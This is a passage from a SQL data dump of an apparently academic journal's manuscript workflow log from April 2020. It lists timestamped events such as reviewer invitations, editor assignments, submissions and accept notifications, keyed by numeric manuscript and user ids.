has Invited Reviewer',3266,'Publisher',75),(30027,'2020-04-09 17:12:32','Publisher has Invited Reviewer',3266,'Publisher',75),(30028,'2020-04-09 17:12:33','Publisher has Invited Reviewer',3266,'Publisher',75),(30029,'2020-04-09 17:12:35','Publisher has Invited Reviewer',3266,'Publisher',75),(30030,'2020-04-09 17:12:36','Publisher has Invited Reviewer',3266,'Publisher',75),(30045,'2020-04-09 18:54:19','Author sent Email',3220,'Author',4221),(30056,'2020-04-10 03:08:51','Reviewer has updated comments',3495,'Reviewer',9797),(30057,'2020-04-10 03:10:05','Reviewer has submitted comments',3708,'Reviewer',9797),(30058,'2020-04-10 03:10:58','Reviewer has submitted comments',3675,'Reviewer',9797),(30059,'2020-04-10 03:13:45','Reviewer has submitted comments',3728,'Reviewer',9797),(30095,'2020-04-10 13:31:47','Manuscript Submitted by Publisher',3753,'Publisher',84),(30096,'2020-04-10 13:32:12','Publisher has been Assigned Editor',3753,'Publisher',84),(30098,'2020-04-10 14:11:39','Publisher has Invited Reviewer',3577,'Publisher',84),(30099,'2020-04-10 14:11:40','Publisher has Invited Reviewer',3577,'Publisher',84),(30100,'2020-04-10 14:11:40','Publisher has Invited Reviewer',3577,'Publisher',84),(30101,'2020-04-10 14:11:41','Publisher has Invited Reviewer',3577,'Publisher',84),(30102,'2020-04-10 14:11:42','Publisher has Invited Reviewer',3577,'Publisher',84),(30103,'2020-04-10 14:11:43','Publisher has Invited Reviewer',3577,'Publisher',84),(30104,'2020-04-10 14:11:44','Publisher has Invited Reviewer',3577,'Publisher',84),(30105,'2020-04-10 14:11:44','Publisher has Invited Reviewer',3577,'Publisher',84),(30106,'2020-04-10 14:11:45','Publisher has Invited Reviewer',3577,'Publisher',84),(30107,'2020-04-10 14:11:46','Publisher has Invited Reviewer',3577,'Publisher',84),(30108,'2020-04-10 14:11:46','Publisher has Invited Reviewer',3577,'Publisher',84),(30109,'2020-04-10 14:11:47','Publisher has Invited Reviewer',3577,'Publisher',84),(30110,'2020-04-10 14:11:48','Publisher has Invited Reviewer',3577,'Publisher',84),(30111,'2020-04-10 14:11:49','Publisher has Invited Reviewer',3577,'Publisher',84),(30112,'2020-04-10 14:11:49','Publisher has Invited Reviewer',3577,'Publisher',84),(30113,'2020-04-10 14:11:50','Publisher has Invited Reviewer',3577,'Publisher',84),(30114,'2020-04-10 14:11:50','Publisher has Invited Reviewer',3577,'Publisher',84),(30115,'2020-04-10 14:23:24','Publisher has been Assigned Editor',3741,'Publisher',319),(30116,'2020-04-10 14:27:02','Editor has Accepted to review Manuscript',3741,'Editor',1067),(30118,'2020-04-10 14:53:46','Publisher has Invited Reviewer',3753,'Publisher',84),(30119,'2020-04-10 14:53:46','Publisher has Invited Reviewer',3753,'Publisher',84),(30120,'2020-04-10 14:53:47','Publisher has Invited Reviewer',3753,'Publisher',84),(30121,'2020-04-10 14:53:48','Publisher has Invited Reviewer',3753,'Publisher',84),(30122,'2020-04-10 14:53:50','Publisher has Invited Reviewer',3753,'Publisher',84),(30123,'2020-04-10 14:53:51','Publisher has Invited Reviewer',3753,'Publisher',84),(30124,'2020-04-10 14:53:52','Publisher has Invited Reviewer',3753,'Publisher',84),(30125,'2020-04-10 14:53:53','Publisher has Invited Reviewer',3753,'Publisher',84),(30126,'2020-04-10 14:53:53','Publisher has Invited Reviewer',3753,'Publisher',84),(30127,'2020-04-10 14:53:54','Publisher has Invited Reviewer',3753,'Publisher',84),(30128,'2020-04-10 14:53:55','Publisher has Invited Reviewer',3753,'Publisher',84),(30129,'2020-04-10 14:53:55','Publisher has Invited Reviewer',3753,'Publisher',84),(30130,'2020-04-10 14:53:56','Publisher has Invited Reviewer',3753,'Publisher',84),(30131,'2020-04-10 14:53:57','Publisher has Invited Reviewer',3753,'Publisher',84),(30132,'2020-04-10 14:53:58','Publisher has Invited Reviewer',3753,'Publisher',84),(30133,'2020-04-10 14:54:06','Publisher has Invited Reviewer',3753,'Publisher',84),(30134,'2020-04-10 14:54:19','Publisher has Invited Reviewer',3753,'Publisher',84),(30135,'2020-04-10 15:17:46','Manuscript Submitted by Publisher',3755,'Publisher',84),(30136,'2020-04-10 15:18:04','Publisher has been Assigned Editor',3755,'Publisher',84),(30137,'2020-04-10 15:18:48','Publisher has Invited Reviewer',3755,'Publisher',84),(30138,'2020-04-10 15:18:48','Publisher has Invited Reviewer',3755,'Publisher',84),(30139,'2020-04-10 15:18:49','Publisher has Invited Reviewer',3755,'Publisher',84),(30140,'2020-04-10 15:18:50','Publisher has Invited Reviewer',3755,'Publisher',84),(30141,'2020-04-10 15:18:50','Publisher has Invited Reviewer',3755,'Publisher',84),(30142,'2020-04-10 15:18:51','Publisher has Invited Reviewer',3755,'Publisher',84),(30143,'2020-04-10 15:18:52','Publisher has Invited Reviewer',3755,'Publisher',84),(30144,'2020-04-10 15:18:53','Publisher has Invited Reviewer',3755,'Publisher',84),(30145,'2020-04-10 15:18:54','Publisher has Invited Reviewer',3755,'Publisher',84),(30146,'2020-04-10 15:18:54','Publisher has Invited Reviewer',3755,'Publisher',84),(30147,'2020-04-10 15:18:55','Publisher has Invited Reviewer',3755,'Publisher',84),(30148,'2020-04-10 15:18:56','Publisher has Invited Reviewer',3755,'Publisher',84),(30149,'2020-04-10 15:18:57','Publisher has Invited Reviewer',3755,'Publisher',84),(30150,'2020-04-10 15:18:58','Publisher has Invited Reviewer',3755,'Publisher',84),(30151,'2020-04-10 15:18:58','Publisher has Invited Reviewer',3755,'Publisher',84),(30152,'2020-04-10 15:18:59','Publisher has Invited Reviewer',3755,'Publisher',84),(30153,'2020-04-10 15:19:00','Publisher has Invited Reviewer',3755,'Publisher',84),(30168,'2020-04-10 18:30:20','Publisher has Invited Reviewer',3722,'Publisher',85),(30169,'2020-04-10 18:30:22','Publisher has Invited Reviewer',3722,'Publisher',85),(30170,'2020-04-10 18:30:23','Publisher has Invited Reviewer',3722,'Publisher',85),(30171,'2020-04-10 18:30:24','Publisher has Invited Reviewer',3722,'Publisher',85),(30172,'2020-04-10 18:30:25','Publisher has Invited Reviewer',3722,'Publisher',85),(30173,'2020-04-10 18:30:27','Publisher has Invited Reviewer',3722,'Publisher',85),(30174,'2020-04-10 18:30:28','Publisher has Invited Reviewer',3722,'Publisher',85),(30175,'2020-04-10 18:30:29','Publisher has Invited Reviewer',3722,'Publisher',85),(30176,'2020-04-10 18:30:31','Publisher has Invited Reviewer',3722,'Publisher',85),(30177,'2020-04-10 18:30:32','Publisher has Invited Reviewer',3722,'Publisher',85),(30178,'2020-04-10 18:30:33','Publisher has Invited Reviewer',3722,'Publisher',85),(30179,'2020-04-10 18:30:34','Publisher has Invited Reviewer',3722,'Publisher',85),(30180,'2020-04-10 18:30:36','Publisher has Invited Reviewer',3722,'Publisher',85),(30181,'2020-04-10 18:33:50','Publisher has been Assigned Editor',3733,'Publisher',85),(30182,'2020-04-10 18:41:27','Publisher has Invited Reviewer',3733,'Publisher',85),(30183,'2020-04-10 18:41:28','Publisher has Invited Reviewer',3733,'Publisher',85),(30184,'2020-04-10 18:41:29','Publisher has Invited Reviewer',3733,'Publisher',85),(30185,'2020-04-10 18:41:31','Publisher has Invited Reviewer',3733,'Publisher',85),(30186,'2020-04-10 18:41:32','Publisher has Invited Reviewer',3733,'Publisher',85),(30187,'2020-04-10 18:41:34','Publisher has Invited Reviewer',3733,'Publisher',85),(30188,'2020-04-10 18:41:35','Publisher has Invited Reviewer',3733,'Publisher',85),(30189,'2020-04-10 19:26:28','Author sent Email',3733,'Author',4903),(30191,'2020-04-10 20:54:00','Reviewer has updated comments',3577,'Reviewer',10876),(30192,'2020-04-11 09:01:50','Reviewer has updated comments',3577,'Reviewer',10876),(30235,'2020-04-11 13:18:27','Publisher has been Withdrawn  article',3733,'Publisher',85),(30238,'2020-04-11 15:34:45','Publisher: Accept Notification has been sent to Author',3652,'Publisher',48),(30240,'2020-04-11 15:35:17','Publisher: Accept Notification has been sent to Author',3626,'Publisher',48),(30241,'2020-04-11 15:36:19','Publisher: Accept Notification has been sent to Author',3562,'Publisher',48),(30244,'2020-04-11 21:32:15','Manuscript Submitted by Author using Submission form',3771,'Author',4939),(30245,'2020-04-11 22:17:49','Author sent Email',3484,'Author',4560),(30248,'2020-04-12 03:10:57','Reviewer has submitted comments',3675,'Reviewer',7415),(30250,'2020-04-12 10:55:27','Manuscript Submitted by Author using Submission form',3775,'Author',4944),(30251,'2020-04-12 11:12:04','Publisher: Accept Notification has been sent to Author',3687,'Publisher',48),(30253,'2020-04-12 12:16:55','Manuscript Submitted by Author using Submission form',3777,'Author',4945),(30257,'2020-04-12 20:20:32','Manuscript Submitted by Author using Submission form',3780,'Author',4952),(30262,'2020-04-13 09:07:23','Publisher has been Assigned Editor',3644,'Publisher',376),(30263,'2020-04-13 09:07:53','Publisher has been Assigned Editor',3529,'Publisher',376),(30267,'2020-04-13 09:20:23','Manuscript Submitted by Author',3785,'Author',4820),(30280,'2020-04-13 11:08:11','Editor has been Revise (Notify Author) article',3675,'Editor',1067),(30281,'2020-04-13 11:20:23','Publisher : Notified Author',3675,'Publisher',319),(30282,'2020-04-13 11:41:59','Publisher has been Assigned Editor',3771,'Publisher',274),(30283,'2020-04-13 11:46:47','Manuscript Submitted by Publisher',3786,'Publisher',48),(30284,'2020-04-13 11:47:02','Publisher has been Assigned Editor',3786,'Publisher',48),(30285,'2020-04-13 11:47:33','Publisher has Invited Reviewer',3786,'Publisher',48),(30286,'2020-04-13 11:47:34','Publisher has Invited Reviewer',3786,'Publisher',48),(30287,'2020-04-13 11:47:35','Publisher has Invited Reviewer',3786,'Publisher',48),(30289,'2020-04-13 12:16:41','Publisher has Invited Reviewer',3753,'Publisher',84),(30319,'2020-04-13 14:01:21','Manuscript Submitted by Author using Submission form',3787,'Author',4959),(30336,'2020-04-13 15:21:48','Reviewer has submitted comments',3698,'Reviewer',12019),(30340,'2020-04-13 17:35:05','Manuscript Submitted by Author using Submission form',3791,'Author',4963),(30342,'2020-04-13 18:02:25','Publisher has been Assigned Editor',3785,'Publisher',48),(30343,'2020-04-13 18:02:43','Publisher has been Assigned Editor',3780,'Publisher',48),(30347,'2020-04-13 18:03:33','Publisher has Invited Reviewer',3785,'Publisher',48),(30348,'2020-04-13 18:03:35','Publisher has Invited Reviewer',3785,'Publisher',48),(30349,'2020-04-13 18:04:04','Publisher has Invited Reviewer',3780,'Publisher',48),(30350,'2020-04-13 18:04:05','Publisher has Invited Reviewer',3780,'Publisher',48),(30363,'2020-04-13 18:30:01','Publisher has Invited Reviewer',3577,'Publisher',84),(30364,'2020-04-13 18:30:04','Publisher has Invited Reviewer',3577,'Publisher',84),(30365,'2020-04-13 18:33:24','Publisher has Invited Reviewer',3755,'Publisher',84),(30366,'2020-04-13 18:33:26','Publisher has Invited Reviewer',3755,'Publisher',84),(30367,'2020-04-13 18:33:28','Publisher has Invited Reviewer',3755,'Publisher',84),(30368,'2020-04-13 18:33:29','Publisher has Invited Reviewer',3755,'Publisher',84),(30369,'2020-04-13 18:33:30','Publisher has Invited Reviewer',3755,'Publisher',84),(30370,'2020-04-13 18:33:31','Publisher has Invited Reviewer',3755,'Publisher',84),(30371,'2020-04-13 18:33:32','Publisher has Invited Reviewer',3755,'Publisher',84),(30372,'2020-04-13 18:33:34','Publisher has Invited Reviewer',3755,'Publisher',84),(30373,'2020-04-13 18:33:35','Publisher has Invited Reviewer',3755,'Publisher',84),(30374,'2020-04-13 18:33:36','Publisher has been Assigned Editor',3777,'Publisher',85),(30375,'2020-04-13 18:33:37','Publisher has Invited Reviewer',3755,'Publisher',84),(30376,'2020-04-13 18:33:38','Publisher has Invited Reviewer',3755,'Publisher',84),(30377,'2020-04-13 18:33:39','Publisher has Invited Reviewer',3755,'Publisher',84),(30378,'2020-04-13 18:34:11','Publisher has Invited Reviewer',3777,'Publisher',85),(30379,'2020-04-13 18:34:12','Publisher has Invited Reviewer',3777,'Publisher',85),(30380,'2020-04-13 18:34:15','Publisher has Invited Reviewer',3777,'Publisher',85),(30381,'2020-04-13 18:34:17','Publisher has Invited Reviewer',3777,'Publisher',85),(30382,'2020-04-13 18:34:18','Publisher has Invited Reviewer',3777,'Publisher',85),(30383,'2020-04-13 18:34:19','Publisher has Invited Reviewer',3753,'Publisher',84),(30384,'2020-04-13 18:34:19','Publisher has Invited Reviewer',3777,'Publisher',85),(30385,'2020-04-13 18:34:20','Publisher has Invited Reviewer',3777,'Publisher',85),(30386,'2020-04-13 18:34:20','Publisher has Invited Reviewer',3753,'Publisher',84),(30387,'2020-04-13 18:34:21','Publisher has Invited Reviewer',3777,'Publisher',85),(30388,'2020-04-13 18:34:21','Publisher has Invited Reviewer',3753,'Publisher',84),(30389,'2020-04-13 18:34:23','Publisher has Invited Reviewer',3777,'Publisher',85),(30390,'2020-04-13 18:34:23','Publisher has Invited Reviewer',3753,'Publisher',84),(30391,'2020-04-13 18:34:24','Publisher has Invited Reviewer',3753,'Publisher',84),(30392,'2020-04-13 18:34:24','Publisher has Invited Reviewer',3777,'Publisher',85),(30393,'2020-04-13 18:34:25','Publisher has Invited Reviewer',3777,'Publisher',85),(30394,'2020-04-13 18:34:26','Publisher has Invited Reviewer',3753,'Publisher',84),(30395,'2020-04-13 18:34:27','Publisher has Invited Reviewer',3753,'Publisher',84),(30396,'2020-04-13 20:30:41','Reviewer has submitted comments',3786,'Reviewer',11519),(30399,'2020-04-13 22:19:34','Reviewer has submitted comments',3777,'Reviewer',11961),(30401,'2020-04-14 00:48:43','Reviewer has submitted comments',3495,'Reviewer',9803),(30405,'2020-04-14 10:27:59','Publisher has been Assigned Editor',3775,'Publisher',984),(30406,'2020-04-14 10:29:17','Publisher has Invited Reviewer',3775,'Publisher',984),(30407,'2020-04-14 10:29:18','Publisher has Invited Reviewer',3775,'Publisher',984),(30408,'2020-04-14 10:29:19','Publisher has Invited Reviewer',3775,'Publisher',984),(30409,'2020-04-14 10:29:20','Publisher has Invited Reviewer',3775,'Publisher',984),(30410,'2020-04-14 10:29:20','Publisher has Invited Reviewer',3775,'Publisher',984),(30411,'2020-04-14 10:29:21','Publisher has Invited Reviewer',3775,'Publisher',984),(30412,'2020-04-14 10:29:22','Publisher has Invited Reviewer',3775,'Publisher',984),(30413,'2020-04-14 10:29:23','Publisher has Invited Reviewer',3775,'Publisher',984),(30452,'2020-04-14 12:41:34','Publisher has been Assigned Editor',3791,'Publisher',85),(30453,'2020-04-14 12:41:50','Publisher has been Assigned Editor',3787,'Publisher',85),(30474,'2020-04-14 14:25:12','Publisher has Invited Reviewer',3791,'Publisher',85),(30475,'2020-04-14 14:25:13','Publisher has Invited Reviewer',3791,'Publisher',85),(30481,'2020-04-14 14:35:52','Reviewer has submitted comments',3753,'Reviewer',6238),(30482,'2020-04-14 15:01:04','Publisher has Invited Reviewer',3791,'Publisher',85),(30483,'2020-04-14 15:01:05','Publisher has Invited Reviewer',3791,'Publisher',85),(30484,'2020-04-14 15:01:06','Publisher has Invited Reviewer',3791,'Publisher',85),(30487,'2020-04-14 15:31:36','Publisher has Invited Reviewer',3713,'Publisher',85),(30488,'2020-04-14 15:31:38','Publisher has Invited Reviewer',3713,'Publisher',85),(30489,'2020-04-14 15:31:39','Publisher has Invited Reviewer',3713,'Publisher',85),(30490,'2020-04-14 15:31:40','Publisher has Invited Reviewer',3713,'Publisher',85),(30491,'2020-04-14 15:31:41','Publisher has Invited Reviewer',3713,'Publisher',85),(30492,'2020-04-14 15:31:42','Publisher has Invited Reviewer',3713,'Publisher',85),(30493,'2020-04-14 15:31:43','Publisher has Invited Reviewer',3713,'Publisher',85),(30494,'2020-04-14 15:31:50','Publisher has Invited Reviewer',3713,'Publisher',85),(30495,'2020-04-14 15:31:51','Publisher has Invited Reviewer',3713,'Publisher',85),(30496,'2020-04-14 15:31:52','Publisher has Invited Reviewer',3713,'Publisher',85),(30497,'2020-04-14 15:31:54','Publisher has Invited Reviewer',3713,'Publisher',85),(30498,'2020-04-14 15:31:55','Publisher has Invited Reviewer',3713,'Publisher',85),(30499,'2020-04-14 15:31:56','Publisher has Invited Reviewer',3713,'Publisher',85),(30500,'2020-04-14 15:31:58','Publisher has Invited Reviewer',3713,'Publisher',85),(30501,'2020-04-14 15:31:59','Publisher has Invited Reviewer',3713,'Publisher',85),(30502,'2020-04-14 15:32:00','Publisher has Invited Reviewer',3713,'Publisher',85),(30503,'2020-04-14 15:39:30','Publisher has Invited Reviewer',3787,'Publisher',85),(30504,'2020-04-14 15:39:31','Publisher has Invited Reviewer',3787,'Publisher',85),(30505,'2020-04-14 15:39:32','Publisher has Invited Reviewer',3787,'Publisher',85),(30506,'2020-04-14 15:39:33','Publisher has Invited Reviewer',3787,'Publisher',85),(30507,'2020-04-14 15:39:34','Publisher has Invited Reviewer',3787,'Publisher',85),(30508,'2020-04-14 15:39:35','Publisher has Invited Reviewer',3787,'Publisher',85),(30509,'2020-04-14 15:39:36','Publisher has Invited Reviewer',3787,'Publisher',85),(30511,'2020-04-14 16:41:34','Publisher : Notified Editor',3753,'Publisher',84),(30512,'2020-04-14 16:42:21','Editor has Accepted to review Manuscript',3753,'Editor',222),(30513,'2020-04-14 16:42:30','Editor has been Revise (Notify Author) article',3753,'Editor',222),(30514,'2020-04-14 16:44:01','Publisher : Notified Author',3753,'Publisher',84),(30515,'2020-04-14 16:48:17','Publisher has Invited Reviewer',3755,'Publisher',84),(30516,'2020-04-14 16:54:25','Publisher has Invited Reviewer',3577,'Publisher',84),(30517,'2020-04-14 16:54:57','Publisher has Invited Reviewer',3577,'Publisher',84),(30518,'2020-04-14 16:54:59','Publisher has Invited Reviewer',3577,'Publisher',84),(30519,'2020-04-14 16:55:00','Publisher has Invited Reviewer',3577,'Publisher',84),(30520,'2020-04-14 16:55:01','Publisher has Invited Reviewer',3577,'Publisher',84),(30521,'2020-04-14 16:55:02','Publisher has Invited Reviewer',3577,'Publisher',84),(30522,'2020-04-14 16:55:04','Publisher has Invited Reviewer',3577,'Publisher',84),(30523,'2020-04-14 16:55:05','Publisher has Invited Reviewer',3577,'Publisher',84),(30524,'2020-04-14 16:55:06','Publisher has Invited Reviewer',3577,'Publisher',84),(30525,'2020-04-14 16:56:29','Publisher has Invited Reviewer',3577,'Publisher',84),(30526,'2020-04-14 16:56:31','Publisher has Invited Reviewer',3577,'Publisher',84),(30527,'2020-04-14 16:56:32','Publisher has Invited Reviewer',3577,'Publisher',84),(30529,'2020-04-14 16:56:34','Publisher has Invited Reviewer',3577,'Publisher',84),(30530,'2020-04-14 16:56:38','Publisher has Invited Reviewer',3577,'Publisher',84),(30531,'2020-04-14 16:56:39','Publisher has Invited Reviewer',3577,'Publisher',84),(30532,'2020-04-14 16:56:40','Publisher has Invited Reviewer',3577,'Publisher',84),(30533,'2020-04-14 16:56:41','Publisher has Invited Reviewer',3577,'Publisher',84),(30534,'2020-04-14 16:56:42','Publisher has Invited Reviewer',3577,'Publisher',84),(30535,'2020-04-14 16:56:44','Publisher has Invited Reviewer',3577,'Publisher',84),(30536,'2020-04-14 16:56:45','Publisher has Invited Reviewer',3577,'Publisher',84),(30537,'2020-04-14 16:56:46','Publisher has Invited Reviewer',3577,'Publisher',84),(30538,'2020-04-14 16:56:47','Publisher has Invited Reviewer',3577,'Publisher',84),(30539,'2020-04-14 16:56:48','Publisher has Invited Reviewer',3577,'Publisher',84),(30540,'2020-04-14 16:56:49','Publisher has Invited Reviewer',3577,'Publisher',84),(30541,'2020-04-14 16:56:51','Publisher has Invited Reviewer',3577,'Publisher',84),(30542,'2020-04-14 16:56:52','Publisher has Invited Reviewer',3577,'Publisher',84),(30543,'2020-04-14 16:56:53','Publisher has Invited Reviewer',3577,'Publisher',84),(30544,'2020-04-14 16:56:54','Publisher has Invited Reviewer',3577,'Publisher',84),(30545,'2020-04-14 16:56:55','Publisher has Invited Reviewer',3577,'Publisher',84),(30546,'2020-04-14 16:56:56','Publisher has Invited Reviewer',3577,'Publisher',84),(30547,'2020-04-14 16:56:57','Publisher has Invited Reviewer',3577,'Publisher',84),(30548,'2020-04-14 16:56:58','Publisher has Invited Reviewer',3577,'Publisher',84),(30549,'2020-04-14 16:56:59','Publisher has Invited Reviewer',3577,'Publisher',84),(30550,'2020-04-14 16:57:01','Publisher has Invited Reviewer',3577,'Publisher',84),(30551,'2020-04-14 16:57:01','Publisher has Invited Reviewer',3577,'Publisher',84),(30567,'2020-04-14 18:02:02','Publisher has Invited Reviewer',3791,'Publisher',85),(30568,'2020-04-14 18:02:03','Publisher has Invited Reviewer',3791,'Publisher',85),(30569,'2020-04-14 18:02:04','Publisher has Invited Reviewer',3791,'Publisher',85),(30570,'2020-04-14 18:02:05','Publisher has Invited Reviewer',3791,'Publisher',85),(30571,'2020-04-14 18:02:11','Publisher has Invited Reviewer',3791,'Publisher',85),(30573,'2020-04-14 18:15:06','Publisher has Invited Reviewer',3741,'Publisher',319),(30574,'2020-04-14 18:15:07','Publisher has Invited Reviewer',3741,'Publisher',319),(30575,'2020-04-14 18:15:08','Publisher has Invited Reviewer',3741,'Publisher',319),(30576,'2020-04-14 18:15:09','Publisher has Invited Reviewer',3741,'Publisher',319),(30577,'2020-04-14 18:15:11','Publisher has Invited Reviewer',3741,'Publisher',319),(30581,'2020-04-14 18:22:20','Editor has Accepted to review Manuscript',3529,'Editor',1011),(30582,'2020-04-14 18:32:20','Editor sent Email',3529,'Editor',1011),(30583,'2020-04-14 18:36:42','Publisher has Invited Reviewer',3787,'Publisher',85),(30584,'2020-04-14 18:36:44','Publisher has Invited Reviewer',3787,'Publisher',85),(30585,'2020-04-14 18:36:45','Publisher has Invited Reviewer',3787,'Publisher',85),(30586,'2020-04-14 18:36:46','Publisher has Invited Reviewer',3787,'Publisher',85),(30587,'2020-04-14 18:36:47','Publisher has Invited Reviewer',3787,'Publisher',85),(30588,'2020-04-14 21:32:12','Manuscript Submitted by Author using Submission form',3798,'Author',4975),(30589,'2020-04-14 21:34:06','Manuscript Submitted by Author using Submission form',3799,'Author',4976),(30593,'2020-04-14 23:02:39','Reviewer has submitted comments',2645,'Reviewer',8997),(30594,'2020-04-14 23:07:05','Reviewer has submitted comments',2756,'Reviewer',8997),(30595,'2020-04-14 23:11:56','Reviewer has submitted comments',3713,'Reviewer',8997),(30612,'2020-04-15 11:05:35','Publisher : Notified Editor',3713,'Publisher',85),(30624,'2020-04-15 12:05:05','Editor has Accepted to review Manuscript',3786,'Editor',194),(30625,'2020-04-15 12:05:25','Editor has been Editor Decision Accepted article',3786,'Editor',194),(30627,'2020-04-15 12:06:10','Publisher: Accept Notification has been sent to Author',3786,'Publisher',48),(30648,'2020-04-15 13:24:39','Reviewer has been sent email to Publisher',3577,'Reviewer',10854),(30652,'2020-04-15 14:17:57','Reviewer has submitted comments',3713,'Reviewer',10685),(30691,'2020-04-15 17:35:30','Publisher has been Assigned Editor',3798,'Publisher',84),(30702,'2020-04-15 17:36:47','Publisher has Invited Reviewer',3798,'Publisher',84),(30703,'2020-04-15 17:36:48','Publisher has Invited Reviewer',3798,'Publisher',84),(30706,'2020-04-15 17:36:50','Publisher has Invited Reviewer',3798,'Publisher',84),(30707,'2020-04-15 17:36:51','Publisher has Invited Reviewer',3798,'Publisher',84),(30708,'2020-04-15 17:36:52','Publisher has Invited Reviewer',3798,'Publisher',84),(30709,'2020-04-15 17:36:53','Publisher has Invited Reviewer',3798,'Publisher',84),(30710,'2020-04-15 17:36:54','Publisher has Invited Reviewer',3798,'Publisher',84),(30711,'2020-04-15 17:36:55','Publisher has Invited Reviewer',3798,'Publisher',84),(30712,'2020-04-15 17:36:57','Publisher has Invited Reviewer',3798,'Publisher',84),(30721,'2020-04-15 17:42:41','Manuscript Submitted by Publisher',3804,'Publisher',84),(30722,'2020-04-15 17:43:13','Publisher has been Assigned Editor',3804,'Publisher',84),(30723,'2020-04-15 17:44:55','Publisher has Invited Reviewer',3804,'Publisher',84),(30724,'2020-04-15 17:44:57','Publisher has Invited Reviewer',3804,'Publisher',84),(30725,'2020-04-15 17:44:58','Publisher has Invited Reviewer',3804,'Publisher',84),(30726,'2020-04-15 17:44:59','Publisher has Invited Reviewer',3804,'Publisher',84),(30727,'2020-04-15 17:45:00','Publisher has Invited Reviewer',3804,'Publisher',84),(30728,'2020-04-15 17:45:01','Publisher has Invited Reviewer',3804,'Publisher',84),(30729,'2020-04-15 17:45:02','Publisher has Invited Reviewer',3804,'Publisher',84),(30730,'2020-04-15 17:45:03','Publisher has Invited Reviewer',3804,'Publisher',84),(30731,'2020-04-15 17:45:05','Publisher has Invited Reviewer',3804,'Publisher',84),(30732,'2020-04-15 17:45:06','Publisher has Invited Reviewer',3804,'Publisher',84),(30733,'2020-04-15 17:45:07','Publisher has Invited Reviewer',3804,'Publisher',84),(30734,'2020-04-15 18:06:00','Reviewer has submitted comments',3786,'Reviewer',11520),(30749,'2020-04-16 01:20:02','Manuscript Submitted by Author using Submission form',3808,'Author',4987),(30751,'2020-04-16 02:27:07','Manuscript Submitted by Author',3809,'Author',4952),(30757,'2020-04-16 08:59:50','Publisher has Invited Reviewer',3529,'Publisher',376),(30758,'2020-04-16 09:00:16','Publisher has Invited Reviewer',3529,'Publisher',376),(30759,'2020-04-16 09:01:45','Publisher has Invited Reviewer',3529,'Publisher',376),(30760,'2020-04-16 09:01:45','Publisher has Invited Reviewer',3529,'Publisher',376),(30761,'2020-04-16 09:02:09','Publisher has Invited Reviewer',3644,'Publisher',376),(30762,'2020-04-16 09:02:09','Publisher has Invited Reviewer',3644,'Publisher',376),(30763,'2020-04-16 09:02:10','Publisher has Invited Reviewer',3644,'Publisher',376),(30764,'2020-04-16 09:02:11','Publisher has Invited Reviewer',3644,'Publisher',376),(30765,'2020-04-16 09:02:29','Publisher has Unassign Editor',3644,'Publisher',376),(30766,'2020-04-16 09:18:24','Publisher has been Accepted Articles  article',3484,'Publisher',319),(30767,'2020-04-16 09:20:58','Manuscript Submitted by Author using Submission form',3812,'Author',4990),(30773,'2020-04-16 10:28:13','Author sent Email',3301,'Author',4339),(30779,'2020-04-16 10:40:30','Publisher : Notified Author',1394,'Publisher',85),(30780,'2020-04-16 10:41:42','Publisher has Invited Reviewer',2838,'Publisher',85),(30781,'2020-04-16 10:41:44','Publisher has Invited Reviewer',2838,'Publisher',85),(30782,'2020-04-16 10:41:45','Publisher has Invited Reviewer',2838,'Publisher',85),(30783,'2020-04-16 10:41:47','Publisher has Invited Reviewer',2838,'Publisher',85),(30784,'2020-04-16 10:41:48','Publisher has Invited Reviewer',2838,'Publisher',85),(30785,'2020-04-16 10:41:50','Publisher has Invited Reviewer',2838,'Publisher',85),(30786,'2020-04-16 10:41:51','Publisher has Invited Reviewer',2838,'Publisher',85),(30787,'2020-04-16 10:41:52','Publisher has Invited Reviewer',2838,'Publisher',85),(30788,'2020-04-16 10:41:53','Publisher has Invited Reviewer',2838,'Publisher',85),(30789,'2020-04-16 10:41:54','Publisher has Invited Reviewer',2838,'Publisher',85),(30790,'2020-04-16 10:41:55','Publisher has Invited Reviewer',2838,'Publisher',85),(30791,'2020-04-16 10:41:56','Publisher has Invited Reviewer',2838,'Publisher',85),(30792,'2020-04-16 10:41:57','Publisher has Invited Reviewer',2838,'Publisher',85),(30793,'2020-04-16 10:41:59','Publisher has Invited Reviewer',2838,'Publisher',85),(30794,'2020-04-16 10:42:00','Publisher has Invited Reviewer',2838,'Publisher',85),(30795,'2020-04-16 10:42:01','Publisher has Invited Reviewer',2838,'Publisher',85),(30796,'2020-04-16 10:42:02','Publisher has Invited Reviewer',2838,'Publisher',85),(30797,'2020-04-16 10:42:03','Publisher has Invited Reviewer',2838,'Publisher',85),(30798,'2020-04-16 10:42:04','Publisher has Invited Reviewer',2838,'Publisher',85),(30799,'2020-04-16 10:42:06','Publisher has Invited Reviewer',2838,'Publisher',85),(30800,'2020-04-16 10:42:07','Publisher has Invited Reviewer',2838,'Publisher',85),(30801,'2020-04-16 10:42:08','Publisher has Invited Reviewer',2838,'Publisher',85),(30802,'2020-04-16 10:42:09','Publisher has Invited Reviewer',2838,'Publisher',85),(30803,'2020-04-16 10:42:10','Publisher has Invited Reviewer',2838,'Publisher',85),(30804,'2020-04-16 10:46:55','Publisher has Invited Reviewer',3787,'Publisher',85),(30805,'2020-04-16 10:46:56','Publisher has Invited Reviewer',3787,'Publisher',85),(30806,'2020-04-16 10:46:58','Publisher has Invited Reviewer',3787,'Publisher',85),(30807,'2020-04-16 10:46:59','Publisher has Invited Reviewer',3787,'Publisher',85),(30812,'2020-04-16 13:35:02','Publisher has been Assigned Editor',3799,'Publisher',85),(30813,'2020-04-16 13:36:42','Reviewer has submitted comments',2838,'Reviewer',10684),(30814,'2020-04-16 13:39:54','Reviewer has submitted comments',3713,'Reviewer',10684),(30815,'2020-04-16 13:42:40','Reviewer has submitted comments',3635,'Reviewer',10684),(30816,'2020-04-16 13:48:54','Publisher has Invited Reviewer',3799,'Publisher',85),(30817,'2020-04-16 13:48:55','Publisher has Invited Reviewer',3799,'Publisher',85),(30818,'2020-04-16 13:49:06','Publisher has Invited Reviewer',3799,'Publisher',85),(30819,'2020-04-16 13:49:13','Publisher has Invited Reviewer',3799,'Publisher',85),(30820,'2020-04-16 13:49:14','Publisher has Invited Reviewer',3799,'Publisher',85),(30821,'2020-04-16 13:49:15','Publisher has Invited Reviewer',3799,'Publisher',85),(30822,'2020-04-16 13:49:16','Publisher has Invited Reviewer',3799,'Publisher',85),(30823,'2020-04-16 13:49:18','Publisher has Invited Reviewer',3799,'Publisher',85),(30824,'2020-04-16 13:49:19','Publisher has Invited Reviewer',3799,'Publisher',85),(30825,'2020-04-16 13:49:20','Publisher has Invited Reviewer',3799,'Publisher',85),(30826,'2020-04-16 13:49:21','Publisher has Invited 